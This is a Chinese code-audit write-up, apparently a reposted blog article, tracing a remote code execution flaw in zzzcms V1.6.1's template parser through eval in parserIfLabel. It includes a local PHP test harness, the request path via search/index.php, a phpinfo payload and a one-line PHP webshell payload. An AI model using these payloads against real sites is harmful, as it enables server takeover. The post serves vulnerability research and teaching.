再谈 zzzcms 代码执行,你也能审计出来的高危漏洞
2020-01-09 22:27:27 Author: mp.weixin.qq.com(查看原文) 阅读量:75 收藏

本文作者:sher10ck

zzzcms 的后台模板处的命令执行可以说是这套 CMS 比较典型的漏洞了,很久之前自己跟踪过一遍漏洞代码,最近又拿起来玩了玩,发现自己也能够审计到这个漏洞点,整个漏洞审计的过程也很简单,没有啥骚操作。

下面我就会按照审计的思路,而并非漏洞分析的思路,给大家说说我是如何通过自己的努力审计出这个命令执行漏洞的

cms 下载地址:

https://yunpan.360.cn/surl_ycSTDKgjnKt

这里我下载的是V1.6.1

定位漏洞点

审计的时候我是直接全局搜索敏感函数 php 代码执行函数:

eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function 

首先看下 eval,全局搜索

仔细翻翻看,存在 eval 函数的 php 文件就只有这一个 zzz_template.php,而我们的这个命令执行的漏洞点也就是存在这里。(惊不惊喜,发现漏洞点其实就是这么简单)

跟踪到了 /inc/zzz_template.php 中的 parserIfLabel 函数

有嫌疑的点我们找到了,接下来我们仔细看看这个函数

细看漏洞函数

来看一下这个函数的逻辑

无敌,看起来并没有啥过滤,我们本地将这个函数弄出来测试一下

这里将我们 $zcontent 的值构造一下

<?php
$zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';parserIfLabel( $zcontent );
function parserIfLabel( $zcontent ) { $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/'; if ( preg_match_all( $pattern, $zcontent, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches[ 1 ][ $i ]; $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr1 = cleft( $ifstr, 0, 1 ); switch ( $ifstr1 ) { case '=': $ifstr = '0' . $ifstr; break; case '{': case '[': $ifstr = "'" . str_replace( "=", "'=", $ifstr ); break; } $ifstr = str_replace( '=', '==', $ifstr ); $ifstr = str_replace( '===', '==', $ifstr ); @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); } }}
function cleft( $str, $start = 0, $num = 1 ) { $var = trim( $str ); $result = substr( $var, $start, $num ); return $result;}?>

访问:

http://127.0.0.1/test.php

成功执行命令了,这个函数存在命令执行漏洞!

如何调用漏洞函数

这里又出现了一个问题,漏洞函数找到了,如何去调用这一个函数呢?

在审计的时候我一般会有两种思路:

1、特定的功能点调用漏洞函数,我们寻找功能点

2、可以直接 url 调用漏洞函数,构造 url 触发漏洞

大家可以自行尝试一下这两种思路。

那么这里是哪种呢,往下看,我们看看 zzz_template.php 的整体架构。

原来我们这里的 parserIfLabel 函数是在 ParserTemplate 类中的,而且这个类中的 parserCommom 也会调用这个函数。

那么想触发我们的漏洞函数,首先必须要生成 ParserTemplate 这个类。

全局搜索

这里在两个文件中出现了 ParserTemplate 类,一个是 /admin123/save.php,另外一个是 zzz_client.php,不喜欢看后台我就直接看了下 zzz_client.php

zzz_client.php 中匹配到了多次,我们一个一个来看

第一个匹配点,利用失败

注意上面的 if 条件:$location=='user'

我们继续跟踪 $location 这个变量,来到了line23

跟踪 getlocation() 这个函数

其实下面还有一大段代码没有截出来,但是没有关系,我们只需要用 get 请求 location 参数,举个例子:

我们构造url:

http://127.0.0.1/zzzphpV1.6.1/?location=user

那么我们的参数:

$location=user

这样就能满足我们的条件了,继续看 if 里面的内容,我这里继续贴出关键的代码:

这里的 TPL_DIR 的值为 **\template\pc\cn2016\html**,怎么构造的可以自己跟踪一下

整个流程我简化出来了,要是我们可以将我们的 $zcontent 修改成我们构造好的内容,那岂不是就能够触发了。

所以这个点我们要修改 \template\pc\cn2016\html\userlogin.html 中的内容,这里后台给我们提供了这样的功能。

但是我们发现 html 文件夹下并不存在 userlogin.html,尴尬了,又不能自己新建一个。

看来 location 为 user 这条路走不通,继续看下一个。

第 N 个匹配点,利用成功

失败乃成功之母,在我跟踪了 N 次之后,终于找到了可以利用的一个点(大家可以自行尝试一下)

其实也就是第三个匹配的点,前两个用的有点鸡肋。

当我们的 $location=search/form/screen/app 的时候进入下一步。

html 文件下并不存在 form/screen/app.html,这里只能利用 search 了呀。

于是乎我访问了

http://127.0.0.1/zzzphpV1.6.1/?location=serach

并没有跳转到 search 的页面,而是给我返回到了主页,按道理来说应该是能行的啊,后来发现问题在 getlocation 这个函数里面的 checklocation 函数

search 并不在这几个列表里面,那要想办法继续搞啊,于是我继续细看了 getlocation 函数,发现一个有意思的地方

要是 search 自定义了 LOCATION 就好了,全局搜索这个 LOCATION

嘿嘿,正好 search 中定义了这个值,在 search\index.php 中,这不就刚好吗,我去修改了 html 下的search.html

然后访问

http://127.0.0.1/zzzphpV1.6.1/search/index.php

成功执行 phpinfo

phpinfo_payload:

{if:assert($_request[phpinfo()])}phpinfo();{end if}

一句话 payload:

{if:<?php eval($_POST[sss]) ?>}phpinfo();{end if}

还有没有其他可以利用的点就靠大家自行去挖掘了

总结

自身的审计能力和漏洞复现跟踪代码完全是两码事,复现看懂了漏洞成因你不一定能够审计的出来,自身的审计能力也需要经过大量的思考才会有所提升,希望大家都能够静下心来看会代码,漏洞就在那里,看你是否主动去寻找到它了,希望这篇文章能对你有所帮助。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247492030&amp;idx=1&amp;sn=8c9d2d3ffb3d4ce2585c91557d0baf0e&amp;chksm=ec1dd196db6a588014c1d45fdc960bfb425dd22437a9cfe59e270e948aa2271ec9c1b15653b6#rd
如有侵权请联系:admin#unsafe.sh